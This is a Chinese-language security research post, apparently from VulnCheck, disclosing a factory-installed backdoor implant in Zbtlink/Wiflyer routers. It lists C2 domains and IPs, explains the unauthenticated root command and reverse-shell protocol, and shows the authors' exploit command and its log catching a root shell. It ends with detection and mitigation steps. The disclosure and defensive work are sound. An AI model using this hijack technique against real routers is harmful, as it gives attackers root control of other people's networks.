研究人员文章: https://www.vulncheck.com/blog/zbt-endlessdoors
在费城郊区的我的办公桌上,一台AX3000双卡5G CPE WiFi 6设备正接入一个独立的科研网络。它的状态指示灯闪烁不停,不断尝试连接互联网上的控制服务器。同样的情况也发生在世界各地的家庭、办公室甚至汽车里:Zbtlink路由器不停地向服务器发送信号,等待指令。这并非因为它们被黑客入侵,而是因为它们出厂时就是这样设计的。
我桌上的路由器是深圳智博通电子旗下的Zbtlink品牌,这家中国制造商生产路由器,然后贴牌销往世界各地。同一款路由器在亚马逊上以Zbtlink和Wiflyer两个品牌销售,在Shopify的店铺(例如zbtwifi.com和zbtlink.com )也有售。我们是从阿里巴巴上购买的Zbtlink AX3000(型号为Z8102AX-2DSIM,也叫Z8102AX)。
一旦知道植入物的位置,就很容易找到它。
root@OpenWrt:~# ps
PID USER VSZ STAT COMMAND
…
6 root 0 IW< [kworker/0:0H-kb]
17 root 0 IW< [kworker/1:0H-kb]
651 root 0 IW [kworker/0:2-pm]
…
6811 root 852 S kworker
6826 root 1132 S kworker
kworker 是 Linux 内核线程,它会在进程列表中用方括号括起来。上面代码片段中来自我们 AX3000 的两个未加方括号的 kworker 并非内核线程。它们是以 root 用户身份运行的普通用户空间进程,拥有真实的内存占用,并且名称经过精心设计,使其能够隐藏在众多合法进程之中。它们是一种植入程序,一种“回传”恶意软件。我们的零日漏洞研究团队将其命名为 ENDLESSDOORS。
ENDLESSDOORS 的核心是一个名为 rctl(远程控制 Linux)的小工具。该工具于 2015 年 1 月 14 日上传至GitHub,此后便无人维护。这个鲜为人知的代码库实现了一个简单的命令控制客户端和服务器。服务器监听 7000 端口,允许客户端连接。它可以向客户端发送单个 shell 命令,或者指示客户端启动一个反向 bash shell。
AX3000 上的 kworker 是 rctl 的定制版本,它已配置为向 47.107.224[.]89 和 rbdg4nzqadui[.]wikaba[.]com 发送回服务器。
root@OpenWrt:~# tcpdump -i any -n not port 22
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes
14:56:51.702295 IP 127.0.0.1.57637 > 127.0.0.1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41)
14:56:51.702415 IP6 ::1.57637 > ::1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41)
没有握手,没有密钥交换,也没有协商。当植入体连接到服务器时,它会发送一个固定的 39 字节的 Hello 消息:一个用空字符填充的 33 字节类标签,然后是其局域网 MAC 地址。这就是全部的注册过程。没有客户端或服务器验证。
之后,服务器发送的任何内容都会传递给 popen() 函数,并以 uid 0 执行。这里没有允许列表,也没有沙箱。一个保留字符串rctlbash指示植入程序打开第二个到 7001 端口的连接,分配一个伪终端,启动 /bin/sh 并桥接它。这样就形成了一个实时交互式的 root shell。
该协议的核心词汇只有两个短语:以 root 用户身份运行 ,以及给我一个 root shell 。
网络路径上的任何人都可以劫持客户端/服务器通信。任何控制 rbdg4nzqadui[.]wikaba[.]com 地址解析或其解析到的地址的人,都可以控制任何试图向服务器发送请求的 ENDLESSDOORS 植入程序。
由于该设备通过拨号方式发起连接,因此路由器无需从互联网访问。无需查找监听端口,也无需突破任何入站规则。连接源自网络内部,并像任何出站 TCP 会话一样,经过 NAT 和典型的出站过滤。只要能够访问 C2 服务器,位于酒店后台办公室三层防火墙后的设备与拥有公网 IP 地址的设备完全相同。
这并非纸上谈兵。我们将 rctl 服务器协议转换成了Go 语言漏洞利用程序,并劫持了 AX3000 客户端的出站 rctl 通信。AX3000 发出自身信号后,我们指示它提供一个交互式 shell。它照做了。
./build/endlessdoors_linux-arm64 -e -rctlport 7000 -c2 SSLShellServer -lport 4444
time=2026-07-20T17:39:46.362Z level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting TLS listener on 192.168.1.100:4444"
time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting target" index=0 host=192.168.1.1 port=80 ssl=false "ssl auto"=false
time=2026-07-20T17:39:46.452Z level=STATUS msg="rctl C2 listening on 192.168.1.100:7000; waiting up to 30s for the implant to phone home"
time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Implant connected from 192.168.1.1:53028"
time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Registration: class=\"_25.0527_174431\" mac=f8:5e:3c:97:d2:58"
time=2026-07-20T17:39:48.361Z level=STATUS msg="Delivering the payload as root through the implant's popen command channel"
time=2026-07-20T17:39:48.362Z level=SUCCESS msg="Payload delivered as root; awaiting the C2 callback"
time=2026-07-20T17:39:48.362Z level=SUCCESS msg="Exploit successfully completed" exploited=true
time=2026-07-20T17:39:48.367Z level=SUCCESS msg="Caught new shell from 192.168.1.1:53296"
time=2026-07-20T17:39:48.367Z level=STATUS msg="Active shell from 192.168.1.1:53296"
sh: can't access tty; job control turned off
BusyBox v1.33.2 (2024-05-16 08:34:26 UTC) built-in shell (ash)
/tmp # id
uid=0(root) gid=0(root) groups=0(root)
这就是整个攻击过程。伪装成路由器正在寻找的目标,然后接管控制权。我们已将此漏洞编号为CVE-2026-66747。
zbtlink.com下载页面上的所有固件(大约二十几个镜像)都嵌入了 rctl 植入程序,并在启动时通过名为 skworker 的 init.d 脚本启动它。所有这些固件都会向服务器发送数据。它们都可以通过相同的方式被劫持。
受影响的型号:
CPE2801、WE1026-5G-WD、WE1326、WE2007、WE2008-DSIM、WE2416、WE3326、WE5927、WE5931、WE5931AC、WE826-T3-DSIM、WG108、WG1602、WG1608-DSIM、 WG209、WG2105、WG2107、WG259、WG3526、Z8102AX-2DSIM
请根据型号进行匹配,而不是机身上的标志。Zbtlink 公开提供 OEM 和 ODM 服务。他们会为任何想要贴牌销售的人生产并重新包装相同的硬件和固件。“Wiflyer WG3526”与其贴有 ZBT 标签的同款设备是同一型号。实际受影响的设备可能不止我们检查的这二十款,但我们无法统计其余设备的数量。
所有受影响的路由器都拨打相同的少量端点。在所有二十个型号中,最终都只剩下四个主要和次要端点:
| 角色 |
端点 |
决心 |
主机 |
| 基本的 |
zbtctl.epplink[.]net |
47.100.190[.]96 |
阿里云,上海 |
| 基本的 |
硬编码 IP |
47.107.224[.]89 |
阿里云,深圳 |
| 次要 |
online-string.com |
45.32.81[.]152 |
沃尔特 |
| 次要 |
rbdg4nzqadui[.]wikaba[.]com |
43.248.136[.]125 |
江苏东云云 |
有趣的是,我们的 AX3000 有点特殊。它通过wikaba.com(一个动态域名解析服务,非常适合隐藏来源)进行路由。除了另外两款型号之外,所有型号都拨打更具威胁性的 zbtctl.epplink[.]net 端点,该端点目前解析到 47.100.190[.]96,托管在阿里云上。
协调披露机制旨在给供应商时间修复缺陷。它假设供应商并非有意造成这种行为。但在此情况下,这个假设并不成立。这不是解析器中的内存损坏错误,而是供应商产品中的一个组件,由供应商自身的初始化脚本在启动时运行,并已应用于二十多种型号和多年的镜像版本中。因此,无需协调补丁。告知发货方他们发布了该组件,对设备所有者没有任何好处,只会给运营该基础设施的人员一个警告。
因此,我们正在发布相关信息,同时也会发布检测内容,以便防御者能够立即采取行动。
目前没有修复固件。请将此视为设备信任问题,而非补丁问题。
- 按型号而非品牌清点库存。 请将以上列出的二十种型号与您的采购记录、酒店和分公司设备、车队以及承包商安装的任何设备进行核对。请查找 Zbtlink、ZBT、ZBTWiFi、Wiflyer 以及来源不明的无品牌蜂窝 CPE。
- 检查进程列表。 如果可以,通过 SSH 登录并运行 ps 命令。未加括号且 VSZ 值非零的 kworker 进程就是植入进程。会有两台这样的进程。
- 检查文件系统。/usr/sbin/kworker、/usr/lib/librctl.so、/etc/kworker.cfg、/etc/init.d/skworker 。
- 对出口和解析器的三个端点进行阻塞和告警 。注意是告警,而不仅仅是阻塞。Suricata、Snort 和 YARA 的规则如下。
- 注意出站的 7000/7001 端口 ,特别是来自网络基础设施段的端口。
- 分段或替换。 如果您拥有 shell 访问权限,可以禁用初始化脚本,但这样一来,您就等于信任了最初构建该镜像的其余部分。对于任何承载实际流量的设备,我们的建议是替换该设备,或者至少将其置于严格的出口控制之后,并将其局域网视为不可信网络。
我桌上的路由器还插着电,连着一个根本连不上的网络。它的指示灯还在闪烁。它还在发出信号,耐心地等待着有人接听。